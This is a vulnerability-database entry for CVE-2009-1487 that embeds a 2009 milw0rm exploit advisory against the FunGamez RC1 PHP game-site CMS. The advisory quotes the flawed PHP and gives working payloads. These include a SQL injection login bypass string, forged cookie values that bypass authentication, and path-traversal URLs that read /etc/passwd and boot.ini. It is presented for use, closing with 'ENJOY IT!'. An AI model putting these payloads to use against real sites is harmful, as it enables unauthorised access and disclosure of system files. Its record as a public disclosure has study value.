FunGamez 'pages/login.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117616 漏洞类型 SQL注入
发布时间 2009-04-20 更新时间 2009-04-29
CVE编号 CVE-2009-1487 CNNVD-ID CNNVD-200904-550
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8493
https://www.securityfocus.com/bid/80619
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200904-550
|漏洞详情
FunGamezRC1中的pages/login.php存在SQL注入漏洞。远程攻击者可以借助登录-用户(又称用户名)参数,执行任意的SQL指令。
|漏洞EXP
***********************************************************************************************
***********************************************************************************************
**	       										     **
**  											     **
**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
**							                                     **
**    											     **
**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
**					¡PROUD TO BE SPANISH!				     **
**											     **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
|       	   	    	MULTIPLE REMOTE VULNERABILITIES		             	     |
|--------------------------------------------------------------------------------------------|
|                         	| FunGamez-release candidate 1 |		 	     |
|  CMS INFORMATION:		 ------------------------------			             |
|										             |
|-->WEB: http://sourceforge.net/projects/fg-gsm/				             |
|-->DOWNLOAD: http://sourceforge.net/projects/fg-gsm/ 	   		             	     |
|-->DEMO: N/A										     |
|-->CATEGORY: CMS / Portals								     |
|-->DESCRIPTION: A game-site manager with fully customisable design, and easy game adding    |
| 		and I will build in more options to make the site fully customisable...	     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3								     |
|-->DORK: N/A										     |
|-->CATEGORY: AUTH BYPASS/LFI							             |
|-->AFFECT VERSION:RC-1						     			     |
|-->Discovered Bug date: 2009-04-20							     |
|-->Reported Bug date: 2009-04-20							     |
|-->Fixed bug date: Not fixed								     |
|-->Info patch: Not fixed							             |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.        |
----------------------------------------------------------------------------------------------

/////////////////////////////

AUTH BYPASS (LOGIN FORM)

/////////////////////////////

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/pages/login.php

It contents:

...

	$logindat = mysql_query("SELECT * FROM `fg_users` WHERE `username` = '".$uname."' and `password` = '".$upass."'");

...

---------
EXPLOIT:
---------

PEPE' OR 1=1 /*

Password:ANY


////////////////////////////////////////

AUTH BYPASS (INSECURE COOKIE HANDLING)

////////////////////////////////////////

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/includes/user.php

It contents:

...

function checklogin(){

	If ( $_SESSION['user'] == null )  {

		If ( $_COOKIE['user'] == null )   {          
 			return 0;       
 		}         
		Else        
		{           
			return $_COOKIE['user'];         
		}     
	}  
 	Else      
	{        
	return $_SESSION['user'];      
	}
}

...

Path --> [HOME_PATH]/index.php

It contents:

...

If ( $page->requireslogin($name) && !$user->checklogin() ) { $name = 'login'; $_GET['newlogin'] = 1; }

...

----------
EXPLOITS:
----------

Add cookie:

1)user=1 path=/	(Insecure cookie)

2)user=pepe' or 1=1 /* path=/ (SQL injection)




///////////////////////////////

LOCAL FILE INCLUSION (LFI)

///////////////////////////////

------------
CONDITIONS:
------------

Need: Be admin user (above! :P)

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/admin/load.php

It contents:

...

If ( !isset($_GET['module']) ) $mod = 'start';

If ( isset($_GET['module']) ) $mod = $_GET['module'];

include('./admin/modules/'.$mod.'.php');

----------
EXPLOITS:
----------

1)http://[HOST]/FunGamez/index.php?admin&module=../../../../../../boot.ini%00

2)http://[HOST]/FunGamez/index.php?admin&module=../../../../../etc/passwd%00


*******************************************************************
 ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
*******************************************************************
-------------------------------------------------------------------
*******************************************************************
 GREETZ TO: JosS and all spanish Hack3Rs community!
*******************************************************************

-------------------EOF---------------------------------->>>ENJOY IT!

# milw0rm.com [2009-04-20]
|受影响的产品
Rens Rikkerink Fungamez - Rc1
|参考资料

来源:XF
名称:fungamez-login-sql-injection(50090)
链接:http://xforce.iss.net/xforce/xfdb/50090
来源:VUPEN
名称:ADV-2009-1117
链接:http://www.vupen.com/english/advisories/2009/1117
来源:BID
名称:34610
链接:http://www.securityfocus.com/bid/34610
来源:MILW0RM
名称:8493
链接:http://www.milw0rm.com/exploits/8493
来源:BUGTRAQ
名称:20090420MultipleRemoteVulnerabilities--SQLi-(INSECURE-COOKIE-HANDLING)-LFI-->
链接:http://marc.info/?l=bugtraq&m=124025031126068&w=2